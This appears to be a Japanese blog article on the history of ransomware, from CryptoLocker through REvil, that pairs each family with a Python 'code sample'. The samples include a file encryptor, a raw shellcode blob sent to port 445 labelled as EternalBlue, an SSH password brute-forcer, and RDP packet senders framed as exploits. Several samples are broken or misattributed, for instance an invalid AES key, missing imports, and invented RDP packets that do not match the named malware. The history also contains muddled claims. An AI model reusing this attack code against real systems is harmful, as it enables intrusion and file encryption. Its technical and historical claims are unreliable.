ランサムウェア コードの目覚ましい進化
ランサムウェアの歴史を追うことは、悪役がますます賢くなり、洗練されていくホラー映画を見ているようなものです。ランサムウェアの進化には、魅力的でありながら恐ろしいものもあります。この記事では、歴史的な年表を詳しく掘り下げ、これらの悪意のあるプログラムを阻止することがなぜ非常に難しいのかを説明します。
AIDS トロイの木馬として知られる最初のランサムウェアは 1989 年に登場しました。それ以来、ランサムウェアは大幅に進化し、最も蔓延し、破壊的なタイプのマルウェアの 1 つになりました。この記事では、初期の CryptoLocker から悪名高い WannaCry、さらに最近の Maze および REvil ランサムウェア攻撃まで、ランサムウェアの進化をたどり、各種類のランサムウェアが実際のコード サンプルを使用してどのように動作するかを説明します。
2013: CryptoLocker
CryptoLocker は、公開キー暗号化を使用してファイルを暗号化した最初のランサムウェアです。電子メールの添付ファイルを介して配布され、Java と Adobe Reader の脆弱性を悪用してシステムに感染しました。システムに感染すると、システム上のすべてのファイルが暗号化され、復号キーを提供するためにビットコインでの支払いを要求されました。
コードサンプル:
import os
import random
import string
from Crypto.Cipher import AES
class CryptoLocker:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
このdecrypt_file
メソッドは、入力ファイル名と、オプションの出力ファイル名およびチャンク サイズを受け取ります。入力ファイルを読み取り、元のファイル サイズと IV を抽出し、同じ暗号化キーと IV を使用して暗号化されたデータを復号します。復号化されたデータを出力ファイルに書き込み、元のファイル サイズに切り詰めます。このクラスの使用例はコードの最後に示されており、CryptoLocker
秘密キーを使用してオブジェクトが作成され、入力ファイルが暗号化されてから復号化されます。
2016: ロッキー
Locky は電子メール キャンペーンを通じて配布され、RSA 暗号化と AES 暗号化を組み合わせてファイルを暗号化しました。復号キーを提供するためにビットコインでの支払いを要求した。リリースから最初の数週間で 100,000 以上のシステムに感染したと推定されています。
コードサンプル:
import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# Generate RSA key pair
key = RSA.generate(2048)
# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')
# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)
# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
f.write(ciphertext)
with open('encrypted_key.bin', 'wb') as f:
f.write(cipher_rsa)
2017: ワナクライ
2017 年、WannaCry ランサムウェアは世界中に急速に広がり、150 か国以上の数十万台のコンピュータに感染しました。WannaCry は、 NSA によって開発されたとされる EternalBlue と呼ばれる Windows オペレーティング システムの脆弱性を悪用しました。
攻撃の広範囲にわたる性質と影響を受けた重要なシステムは、組織がサイバーセキュリティを優先し、そのような攻撃を防ぐために最新のソフトウェアとセキュリティプロトコルを維持する必要性を強調しました。
コードサンプル:
import socket
# EternalBlue exploit code
exploit = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
b"\xc3"
)
# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send exploit code
sock.send(exploit)
# Close the socket
sock.close()
この記事の他のサンプルと同様に、このコードは純粋に教育目的であり、悪意のある活動には使用しないでください。
2018: サムサム
SamSam は、2018 年に初めて特定されたランサムウェアです。フィッシングメールを使用して被害者のシステムにアクセスする他の多くのランサムウェア攻撃とは異なり、SamSam はブルートフォースを使用してパッチが適用されていないサーバーにアクセスします。ランサムウェアは侵入するとファイルを暗号化し、ビットコインでの支払いを要求しました。
コードサンプル:
import paramiko
import time
target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
ssh.connect(target_server, port=port, username=username, password=password)
print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
# Do malicious activities here
ssh.close()
break
except paramiko.AuthenticationException:
print(f"Failed to log in to {target_server} with username {username} and password {password}.")
time.sleep(1)
2019: リューク
Ryuk は北朝鮮で発生したと考えられており、病院や政府機関などの価値の高い標的を狙うために使用されていました。これは誤りであることが判明し、当初はさまざまな犯罪組織によって使用されていました。Ryuk は通常、フィッシングメールを通じて、またはリモート デスクトップ プロトコルの脆弱性を悪用することによって配信されます。
コードサンプル:
import socket
RDP_PORT = 3389
def exploit_rdp_vulnerability(target_ip):
# Establish a connection to the target RDP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_ip, RDP_PORT))
except:
print(f"Connection failed to {target_ip}:{RDP_PORT}")
return
# Send a malicious RDP message to trigger the vulnerability
# In a real attack, this would contain the ransomware payload
# In this safe example, I will just print the message for demonstration purposes
message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
s.sendall(message)
# Receive the server's response and print it for demonstration purposes
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
# Example usage
exploit_rdp_vulnerability('192.168.1.100')
2019: 迷路
Maze は被害者のファイルを暗号化し、復号化キーと引き換えに支払いを要求します。しかし、Maze ランサムウェアは、被害者から機密データを盗み、身代金が支払われない場合は公開すると脅すことでも知られており、一種の「二重恐喝」ランサムウェアとなっています。
Maze ランサムウェアは、典型的なフィッシングメールとともに、リモート デスクトップ プロトコル (RDP) の脆弱性を悪用してシステムにアクセスすることが知られています。
コードサンプル:
import socket
HOST = '192.168.1.100'
PORT = 3389
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print(data)
# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)
data = s.recv(1024)
print(data)
# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)
data = s.recv(1024)
print(data)
# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)
data = s.recv(1024)
print(data)
# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)
data = s.recv(1024)
print(data)
s.close()
2021: REvil
近年で最も注目されたランサムウェア攻撃の 1 つは、2021 年 7 月に発生した REvil ランサムウェア攻撃です。この攻撃は、他の企業にリモート管理ソフトウェアを提供している Kaseya というソフトウェア プロバイダーを標的にしていました。攻撃者は、Kaseya のソフトウェアにアクセスして数百のクライアントにマルウェアを配布することができ、その結果、広範囲にわたるランサムウェア攻撃が発生しました。
REvil は強力な暗号化を使用して被害者のファイルを暗号化し、復号キーと引き換えに身代金の支払いを要求します。この時代のほとんどのランサムウェア グループと同様に、ビットコインが支払い方法として使用されます。
コードサンプル:
import os
import random
import string
from Crypto.Cipher import AES
class Ransomware:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
使用例ではキーを定義し、Ransomware
そのキーを利用してクラスのインスタンスを作成します。このencrypt_file
メソッドは「重要なファイル.docx」というファイルに対して呼び出され、「重要なファイル.docx.enc」という暗号化されたファイルが作成されます。最後に、decrypt_file
暗号化されたファイルに対してメソッドが呼び出され、元の形式に復号化されます。
この記事が、ランサムウェアがどのように進化してきたのか、また、展開が簡単で違法行為を即座に収益化できることから、ランサムウェアがどのように私たちの最大の脅威となっているのかについて、切望されている視点を提供できれば幸いです。しかし、これらの問題について一般大衆に公開し、教育するという近年の進歩を忘れてはなりません。